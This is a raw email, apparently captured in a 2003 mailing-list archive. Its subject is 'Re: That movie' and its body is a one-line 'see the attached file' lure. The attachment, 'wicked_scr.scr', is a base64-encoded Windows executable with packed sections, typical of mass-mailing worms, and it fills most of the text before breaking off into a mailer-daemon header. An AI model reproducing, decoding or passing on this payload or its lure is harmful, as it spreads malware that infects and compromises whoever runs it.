Aug 2003 06:55:19 -0700 From: To: Subject: Re: That movie Date: Tue, 19 Aug 2003 9:55:19 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_017B48A6" Message-Id: This is a multipart message in MIME format --_NextPart_000_017B48A6 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_017B48A6 Content-Type: chemical/x-rasmol; name="wicked_scr.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="wicked_scr.scr" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 From MAILER-DAEMON Tue Aug 19 07:03:22 2003 Received: from mail by sc8-sf-list1.sourceforge.net with local (Exim 